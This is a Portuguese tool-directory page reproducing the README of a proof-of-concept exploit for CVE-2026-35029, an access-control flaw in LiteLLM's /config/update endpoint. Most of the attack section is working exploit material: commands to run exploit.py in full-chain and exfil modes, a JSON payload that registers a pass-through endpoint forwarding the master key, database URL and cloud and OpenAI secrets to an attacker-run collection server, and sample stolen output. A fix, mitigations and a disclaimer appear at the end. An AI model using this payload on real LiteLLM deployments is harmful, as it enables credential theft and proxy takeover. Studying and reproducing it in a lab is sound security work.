Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-35029-PoC — O código para reproduzir pessoalmente a vulnerabilidade correspondente | Kitploit
Ferramentas/GitHubGitHub/learner202649/cve-2026-35029-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHublearner202649/cve-2026-35029-poc

CVE-2026-35029-PoC

O código para reproduzir pessoalmente a vulnerabilidade correspondente

Ver Repositório
4há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-35029 — LiteLLM /config/update Vulnerabilidade de Controle de Acesso Quebrado (Broken Access Control)

O endpoint /config/update do LiteLLM não verifica as permissões de função do chamador. Qualquer usuário autenticado com uma chave de API válida (sem privilégios de administrador) pode modificar a configuração do proxy, registrar endpoints Pass-Through maliciosos para realizar ataques de roubo de variáveis de ambiente, leitura arbitrária de arquivos, execução remota de código, etc.

CampoValor
CVECVE-2026-35029
CVSS v4.08.7 (ALTA) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CVSS v3.18.8 (ALTA) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Autorização Incorreta) / CWE-285 (Autorização Imprópria)
AfetadoLiteLLM < 1.83.0
Corrigidov1.83.0+ (adicionada verificação de função proxy_admin em /config/update)
Publicado2026-04-06
Descoberto porTimo Müller — SEC Consult Vulnerability Lab (Munique)
Encontrado2026-02-24
LinksGHSA-53mr-6c8q-9789 • NVD • SEC Consult

Descrição

O endpoint /config/update do LiteLLM deveria permitir apenas chamadas da função proxy_admin, mas antes da v1.83.0 não havia verificação de função. Qualquer usuário com uma chave de API válida poderia chamar este endpoint.

Vetores de Ataque

Tipo de AtaqueDescrição
Roubo de Variáveis de AmbienteRegistrar um endpoint Pass-Through e, através do cabeçalho os.environ/VAR_NAME, roubar DATABASE_URL, LITELLM_MASTER_KEY, etc.
Leitura Arbitrária de ArquivosExplorar a codificação Base64 dos cabeçalhos LANGFUSE_* para ler o sistema de arquivos do servidor
Alteração de ConfiguraçãoSobrescrever UI_USERNAME, UI_PASSWORD para sequestrar a conta de administrador
Execução Remota de CódigoRegistrar um manipulador de endpoint Pass-Through que aponta para código Python do atacante

Impacto

  • Usuário com baixos privilégios → Privilégios totais de administrador
  • Vazamento de variáveis de ambiente sensíveis (credenciais de banco de dados, chaves de API, credenciais de serviços em nuvem)
  • Leitura arbitrária de arquivos (arquivos de configuração, certificados, arquivos shadow)
  • Pode ser encadeado com outras vulnerabilidades (CVE-2026-35030)

Prova de Conceito

Início Rápido (Docker)

⚠️ Importante: O docker-compose.yml fixa a imagem vulnerável a um digest específico (sha256:5beb4ea6...) de 24 de janeiro de 2026. Não altere para main-v1.81.0-stable ou qualquer outra tag mutável — imagens posteriores podem ter sido reconstruídas com correções, quebrando a reprodução.

root@kitploit:~
# 1. Iniciar LiteLLM vulnerável + servidor receptor de dados do atacante
docker compose up -d

# 2. Instalar dependências
pip install -r requirements.txt

# 3. Executar cadeia de ataque completa (roubo de variáveis de ambiente + leitura de arquivos)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. Apenas roubar variáveis de ambiente
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (Opcional) Verificar que a versão corrigida não é afetada
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

Nota: Na primeira inicialização dos contêineres, aguarde cerca de 30-60s (health check do PostgreSQL + migração do banco Prisma). Execute o exploit somente após o log do contêiner exibir Uvicorn running on http://0.0.0.0:4000.

Saída Esperada

Roubo de Variáveis de Ambiente:

root@kitploit:~
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

Acesso negado pela versão corrigida (retorna 403 ao usar uma chave não administradora):

root@kitploit:~
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

Nota: Se usar a Master Key (sk-litellm-master-key) para testar a versão corrigida, a atualização de configuração ainda retornará HTTP 200 (a Master Key possui a função proxy_admin), mas o registro do endpoint Pass-Through pode não ser efetivado ou será silenciosamente ignorado. Recomenda-se usar uma chave não administradora para verificar a correção.


Detalhes da Cadeia de Ataque

root@kitploit:~
 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ 攻击者        │     │  LiteLLM Proxy   │     │ Exfiltration 服务  │
 │ (低权限 Key)  │     │ (< v1.83.0)     │     │ (攻击者控制)       │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (含 DATABASE_URL)  │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. 读取 /logs 确认结果                       │
        │─────────────────────────────────────────────→│
        │←─ [🔥] 窃取到 DATABASE_URL ─────────────────│

Ambiente

root@kitploit:~
CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

Correção

A versão v1.83.0 adicionou a verificação da função proxy_admin ao manipulador de /config/update:

root@kitploit:~
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
    ...  # 任何已认证用户均可调用

# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin")  # ← 新增角色检查
async def update_config(request: Request):
    ...

Commit: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4

Medidas de Mitigação

  1. Atualize imediatamente o LiteLLM para v1.83.0+
  2. Restrinja o acesso de rede ao endpoint /config/update
  3. Audite o uso de todas as chaves de API e rotacione credenciais que possam ter vazado
  4. Monitore requisições de atualização de configuração anômalas

Referências

  • GitHub Security Advisory GHSA-53mr-6c8q-9789
  • SEC Consult Advisory
  • NVD Detail
  • LiteLLM Security Hardening (April 2026)
  • LiteLLM Pass-Through Endpoints Docs

Aviso: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.

Baixar ferramenta